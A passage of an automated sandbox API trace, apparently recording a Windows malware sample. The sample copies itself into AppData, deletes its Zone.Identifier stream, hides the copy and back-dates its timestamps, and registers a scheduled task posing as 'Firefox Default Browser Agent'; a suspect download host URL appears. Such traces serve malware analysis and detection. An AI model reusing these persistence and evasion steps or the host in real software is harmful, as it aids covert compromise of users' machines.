returned 1 [0288.989] lstrlenA (lpString="11.0.10586.0") returned 12 [0288.989] lstrlenA (lpString=".") returned 1 [0288.989] atoi (_Str="11") returned 11 [0288.989] RegCloseKey (hKey=0x197c) returned 0x0 [0288.989] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871840) returned 0x2e [0288.989] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871840) returned 1 [0288.989] ObtainUserAgentString (in: dwOption=0xb, pszUAOut=0x8870830, cbSize=0x130efec0 | out: pszUAOut="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko", cbSize=0x130efec0) returned 0x0 [0289.023] lstrlenA (lpString="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko") returned 74 [0289.023] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8870830, cbMultiByte=75, lpWideCharStr=0x4300577, cchWideChar=150 | out: lpWideCharStr="Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko") returned 75 [0289.023] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8870830) returned 0x1008 [0289.023] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8870830) returned 1 [0289.023] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x1008) returned 0x8870830 [0289.023] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x1c) returned 0x8871840 [0289.023] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%", lpDst=0x8870830, nSize=0x105 | out: lpDst="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming") returned 0x26 [0289.023] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871840) returned 0x1c [0289.023] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871840) returned 1 [0289.023] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x16) returned 0x8871840 [0289.023] wsprintfW (in: param_1=0x43007a6, param_2="%s\\%hs" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned 45 [0289.024] wsprintfW (in: param_1=0x4300bb6, param_2="%s\\%hs" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa") returned 45 [0289.024] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871840) returned 0x16 [0289.024] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871840) returned 1 [0289.024] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x26) returned 0x8871840 [0289.024] lstrlenA (lpString="http://file-coin-host-12.com/") returned 29 [0289.024] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x8871840, Length=0x1d) returned 0x57488b3e [0289.024] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871840) returned 0x26 [0289.024] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871840) returned 1 [0289.025] lstrcmpW (lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned 1 [0289.025] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih")) returned 0 [0289.026] CopyFileW (lpExistingFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\toolspab1.exe"), lpNewFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih"), bFailIfExists=0) returned 1 [0289.656] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\toolspab1.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\toolspab1.exe")) returned 1 [0289.688] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x12) returned 0x8871840 [0289.688] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x2a) returned 0x8871860 [0289.688] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x408) returned 0x88718a0 [0289.688] wsprintfW (in: param_1=0x88718a0, param_2="%s%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih:Zone.Identifier") returned 61 [0289.688] DeleteFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih:Zone.Identifier" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih:zone.identifier")) returned 0 [0289.688] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x88718a0) returned 0x408 [0289.689] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x88718a0) returned 1 [0289.689] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871840) returned 0x12 [0289.689] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871840) returned 1 [0289.689] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871860) returned 0x2a [0289.689] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871860) returned 1 [0289.689] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x16) returned 0x8871840 [0289.690] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x210) returned 0x8871860 [0289.690] GetSystemDirectoryA (in: lpBuffer=0x8871860, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0289.690] lstrcatA (in: lpString1="C:\\Windows\\system32", lpString2="\\" | out: lpString1="C:\\Windows\\system32\\") returned="C:\\Windows\\system32\\" [0289.690] lstrcatA (in: lpString1="C:\\Windows\\system32\\", lpString2="advapi32.dll" | out: lpString1="C:\\Windows\\system32\\advapi32.dll") returned="C:\\Windows\\system32\\advapi32.dll" [0289.690] SetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih", dwFileAttributes=0x6) returned 1 [0289.690] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x1d00 [0289.690] GetFileAttributesExA (in: lpFileName="C:\\Windows\\system32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll"), fInfoLevelId=0x0, lpFileInformation=0x130efe30 | out: lpFileInformation=0x130efe30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a16bf4b, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x1a16bf4b, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x1a16bf4b, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xa3ef0)) returned 1 [0289.690] SetFileTime (hFile=0x1d00, lpCreationTime=0x130efe34, lpLastAccessTime=0x130efe3c, lpLastWriteTime=0x130efe44) returned 1 [0289.690] CloseHandle (hObject=0x1d00) returned 1 [0289.691] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871860) returned 0x210 [0289.691] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871860) returned 1 [0289.691] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871840) returned 0x16 [0289.691] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871840) returned 1 [0289.692] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x418) returned 0x8871840 [0289.692] lstrcatW (in: lpString1="", lpString2="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" [0289.692] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x212) returned 0x8871c60 [0289.692] GetUserNameW (in: lpBuffer=0x8871c60, pcbBuffer=0x130efe70 | out: lpBuffer="RDhJ0CNFevzX", pcbBuffer=0x130efe70) returned 1 [0289.698] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x10d) returned 0x8871e80 [0289.698] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x4c) returned 0x8871fa0 [0289.700] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x10d) returned 0x8872000 [0289.700] wsprintfW (in: param_1=0x8871e80, param_2="Firefox Default Browser Agent %hs" | out: param_1="Firefox Default Browser Agent FE7F15060B875FB9") returned 46 [0289.700] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8872000) returned 0x10d [0289.701] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8872000) returned 1 [0289.701] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871fa0) returned 0x4c [0289.701] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871fa0) returned 1 [0289.701] CoCreateInstance (in: rclsid=0x4311010*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x4311000*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x130efd08 | out: ppv=0x130efd08*=0x3d88540) returned 0x0 [0290.069] TaskScheduler:ITaskService:Connect (This=0x3d88540, serverName=0x130efd80*(varType=0x0, wReserved1=0x887, wReserved2=0x0, wReserved3=0x0, varVal1=0x4315257, varVal2=0x43007a6), user=0x130efda0*(varType=0x0, wReserved1=0x887, wReserved2=0x0, wReserved3=0x0, varVal1=0x4315257, varVal2=0x43007a6), domain=0x130efd60*(varType=0x0, wReserved1=0x887, wReserved2=0x0, wReserved3=0x0, varVal1=0x4315257, varVal2=0x43007a6), password=0x130efde0*(varType=0x0, wReserved1=0x887, wReserved2=0x0, wReserved3=0x0, varVal1=0x4315257, varVal2=0x43007a6)) returned 0x0 [0290.076] TaskScheduler:ITaskService:GetFolder (in: This=0x3d88540, Path="", ppFolder=0x130efd28 | out: ppFolder=0x130efd28*=0x3d4cca0) returned 0x0 [0290.078] ITaskFolder:DeleteTask (This=0x3d4cca0, Name="Firefox Default Browser Agent FE7F15060B875FB9", flags=0) returned 0x80070002 [0290.079] TaskScheduler:ITaskService:NewTask (in: This=0x3d88540, flags=0x0, ppDefinition=0x130efe40 | out: ppDefinition=0x130efe40*=0x3ce68d0) returned 0x0 [0290.080] ITaskDefinition:get_RegistrationInfo (in: This=0x3ce68d0, ppRegistrationInfo=0x130efd40 | out: ppRegistrationInfo=0x130efd40*=0x3ced8a0) returned 0x0 [0290.080] IRegistrationInfo:put_Author (This=0x3ced8a0, Author="RDhJ0CNFevzX") returned 0x0 [0290.080] IUnknown:Release (This=0x3ced8a0) returned 0x1 [0290.080] ITaskDefinition:get_Settings (in: This=0x3ce68d0, ppSettings=0x130efd18 | out: ppSettings=0x130efd18*=0x3ced960) returned 0x0 [0290.081] ITaskSettings:put_StartWhenAvailable (This=0x3ced960, StartWhenAvailable=1) returned 0x0 [0290.081] IUnknown:Release (This=0x3ced960) returned 0x3 [0290.081] ITaskDefinition:get_Triggers (in: This=0x3ce68d0, ppTriggers=0x130efd20 | out: ppTriggers=0x130efd20*=0x3ce5660) returned 0x0 [0290.081] ITriggerCollection:Create (in: This=0x3ce5660, Type=1, ppTrigger=0x130efe30 | out: ppTrigger=0x130efe30*=0x3ce6840) returned 0x0 [0290.081] IUnknown:QueryInterface (in: This=0x3ce6840, riid=0x4311030*(Data1=0xb45747e0, Data2=0xeba7, Data3=0x4276, Data4=([0]=0x9f, [1]=0x29, [2]=0x85, [3]=0xc5, [4]=0xbb, [5]=0x30, [6]=0x0, [7]=0x6)), ppvObject=0x130efd10 | out: ppvObject=0x130efd10*=0x3ce6840) returned 0x0 [0290.081] ITrigger:get_Repetition (in: This=0x3ce6840, ppRepeat=0x130efd00 | out: ppRepeat=0x130efd00*=0x3d578a0) returned 0x0 [0290.081] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x14) returned 0x8871fa0 [0290.081] IRepetitionPattern:put_Interval (This=0x3d578a0, Interval="PT10M") returned 0x0 [0290.082] ITrigger:put_Repetition (This=0x3ce6840, Repetition=0x3d578a0) returned 0x0 [0290.082] IUnknown:Release (This=0x3d578a0) returned 0x1 [0290.082] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x30) returned 0x8871fc0 [0290.082] ITrigger:put_StartBoundary (This=0x3ce6840, StartBoundary="1999-11-30T00:00:00") returned 0x0 [0290.082] IUnknown:Release (This=0x3ce6840) returned 0x2 [0290.082] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871fc0) returned 0x30 [0290.082] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871fc0) returned 1 [0290.082] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871fa0) returned 0x14 [0290.082] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871fa0) returned 1 [0290.082] IUnknown:Release (This=0x3ce6840) returned 0x1 [0290.082] ITriggerCollection:Create (in: This=0x3ce5660, Type=9, ppTrigger=0x130efe30 | out: ppTrigger=0x130efe30*=0x3cfcaa0) returned 0x0 [0290.083] IUnknown:QueryInterface (in: This=0x3cfcaa0, riid=0x4311020*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x130efd00 | out: ppvObject=0x130efd00*=0x3cfcaa0) returned 0x0 [0290.083] ILogonTrigger:put_UserId (This=0x3cfcaa0, UserId="RDhJ0CNFevzX") returned 0x0 [0290.087] IUnknown:Release (This=0x3cfcaa0) returned 0x2 [0290.087] IUnknown:Release (This=0x3cfcaa0) returned 0x1 [0290.087] ITaskDefinition:get_Actions (in: This=0x3ce68d0, ppActions=0x130efd30 | out: ppActions=0x130efd30*=0x3d4ce20) returned 0x0 [0290.088] IActionCollection:Create (in: This=0x3d4ce20, Type=0, ppAction=0x130efd48 | out: ppAction=0x130efd48*=0x3ce5740) returned 0x0 [0290.088] IUnknown:Release (This=0x3d4ce20) returned 0x1 [0290.088] IUnknown:QueryInterface (in: This=0x3ce5740, riid=0x4311040*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x130efd38 | out: ppvObject=0x130efd38*=0x3ce5740) returned 0x0 [0290.088] IExecAction:put_Path (This=0x3ce5740, Path="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih") returned 0x0 [0290.088] IUnknown:Release (This=0x3ce5740) returned 0x2 [0290.088] ITaskFolder:RegisterTaskDefinition (in: This=0x3d4cca0, Path="Firefox Default Browser Agent FE7F15060B875FB9", pDefinition=0x3ce68d0, flags=6, UserId=0x130efd60*(varType=0x0, wReserved1=0x887, wReserved2=0x0, wReserved3=0x0, varVal1=0x4315257, varVal2=0x43007a6), password=0x130efda0*(varType=0x0, wReserved1=0x887, wReserved2=0x0, wReserved3=0x0, varVal1=0x4315257, varVal2=0x43007a6), LogonType=3, sddl=0x130efd80*(varType=0x0, wReserved1=0x887, wReserved2=0x0, wReserved3=0x0, varVal1=0x4315257, varVal2=0x43007a6), ppTask=0x130efd00 | out: ppTask=0x130efd00*=0x3ceda20) returned 0x0 [0296.879] IUnknown:Release (This=0x3ce5740) returned 0x1 [0296.879] IUnknown:Release (This=0x3ce5660) returned 0x1 [0296.879] TaskScheduler:IUnknown:Release (This=0x3ce68d0) returned 0x0 [0296.880] TaskScheduler:IUnknown:Release (This=0x3d4cca0) returned 0x0 [0296.880] TaskScheduler:IUnknown:Release (This=0x3d88540) returned 0x0 [0296.880] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871e80) returned 0x10d [0296.880] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871e80) returned 1 [0296.880] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871840) returned 0x418 [0296.880] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871840) returned 1 [0296.881] RtlSizeHeap (HeapHandle=0x8870000, Flags=0x0, MemoryPointer=0x8871c60) returned 0x212 [0296.881] RtlFreeHeap (HeapHandle=0x8870000, Flags=0x0, BaseAddress=0x8871c60) returned 1 [0296.881] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\bcatcih" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\bcatcih"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1998 [0296.882] CreateFileMappingA (hFile=0x0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfa000, lpName="FE7F15060B875FB9FB2A49F08D5D03120C287F38FF") returned 0x1ca4 [0296.882] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0x26) returned 0x8871840 [0296.882] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\wvhwbfa" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\wvhwbfa"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0296.882] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x5f2d962 [0296.882] RtlAllocateHeap (HeapHandle=0x8870000, Flags=0x8, Size=0xde) returned 0x8871870 [0296.882] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf39ebd80 [0296.882] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x2cc4ec4d [0296.882] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xbd2c3faf [0296.882] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x553bd8dd [0296.882] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xafebc069 [0296.882] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xdad9b7b1 [0296.882] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xb6e840fb [0296.882] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x106a2af9 [0296.882] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x410e1247 [0296.882] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x66b8422e [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x1cdb98fe [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x2943bf2d [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xd570f2f2 [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x37c5f391 [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x153f9c4 [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xaa85096d [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xb2535cf [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xeaf1b0b0 [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xe2871445 [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x22aeeede [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x9e1f62d [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x3ae097eb [0296.883] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xe1a67504 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x78924a08 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xce6aca44 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x66d0a928 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xbadaed4b [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x93e492f0 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x619f2b54 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xe8bad746 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x98530271 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x63970b01 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x3fc7a91 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x8492ba33 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x985a4176 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xb3c6e885 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x95180fb4 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xa382b87a [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x5a4bb77 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xd22607ca [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xa7551dc0 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x5d72623e [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xb41de28b [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x153876b7 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x66d1f0de [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x7fa8cf0f [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x39dd2cc7 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x364eb922 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x54815cfe [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x5baf3c73 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xc6017408 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xeef2cb0 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xeb5ac466 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x3146053b [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x61cbd2b4 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf8ca58d0 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf2e5cd10 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x7c84fb20 [0296.884] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x3fd984ce [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xd230853d [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x72f4dc71 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf989855e [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x83329828 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xf26f2bae [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xefe2adb1 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x7a3ba5cf [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x6199c424 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x31f5709a [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x193d8ba [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xc69239bb [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xd901f6d5 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x9583ceea [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x94bafa91 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xb41c6af9 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xb799150d [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x58003072 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x6a784849 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xefeb8a5c [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xaf438847 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xb372987b [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x8aac84f9 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xe86c0d8c [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x11fbdd7 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x7eeb93a0 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x826eafc [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x9de74776 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xfab97228 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x1b67a72f [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x81ac4dd4 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xfc373442 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x5a0621f8 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x493a9835 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xc2ce7890 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x2bc4ae7 [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x4094a56e [0296.885] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x2d96d9b [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x283f246f [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xe834fd1d [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0xced59db8 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x8bc1beb1 [0296.886] RtlRandom (in: Seed=0x4300e9e | out: Seed=0x4300e9e) returned 0x7fb2f978 [0296.886] RtlRandom (in: 